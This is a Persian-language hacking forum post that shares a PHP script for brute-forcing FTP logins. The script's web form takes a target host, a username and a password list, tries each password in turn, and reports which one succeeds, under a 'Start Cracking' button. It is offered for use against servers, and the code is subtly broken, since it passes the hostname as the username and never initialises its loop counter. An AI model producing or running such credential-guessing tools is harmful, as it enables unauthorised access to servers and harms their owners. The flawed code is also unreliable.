SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

Brute force using php script

بستن
X
 
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید

  • Brute force using php script

    نمونه کد برای بروت فورس FTP

    کد:
    <?php
    
    if(isset($_POST["hostname"]))
    {
    
    $hostname = $_POST["hostname"];
    $username = $_POST["username"];
    $passwords = explode("\n", $_POST["passwords"]);
    $passwords_number = count($passwords);
    
    if(ftp_connect($hostname))
    {
    echo "<h3 style='color:green;'>The server is successfuly connected!</h3>";
    $connection = ftp_connect($hostname);
    }else{
    echo "<h3 style='color:red'>Problem connecting to the server!</h3>";
    }
    
    while($i < $passwords_number )
    {
    
    if(@ftp_login($connection, $hostname, $passwords[$i]))
    {
    echo "<span style='color:green'>The login is successful using username : $username and Password : ".$passwords[$i]."</span><br>";
    break;
    }else{
    echo "<span style='color:red'>Failed login to the server using username : $username and password : ".$passwords[$i]."</span><br>";
    }
    
    $i++;
    }
    
    }
    
    ?>
    
    <html>
    
    <form method="post">
    
    <table>
    
    <tr>
    
    <td>Hostname :</td> <td><input type="text" name="hostname"/></td>
    
    </tr>
    
    <tr>
    
    <td>Username :</td> <td><input type="text" name="username"/></td>
    
    </tr>
    
    <tr>
    
    <td>Passwords :</td> <td><textarea name="passwords"></textarea></td>
    
    </tr>
    
    <tr>
    
    <td></td> <td><input type="submit" value="Start Cracking"/></td>
    
    </tr>
    
    </table>
    
    </form>
    
    </html>
    -----------------------------SAFE MASTER---------------------------
    تاپیک هکر های تازه وارد
صبر کنید ..
X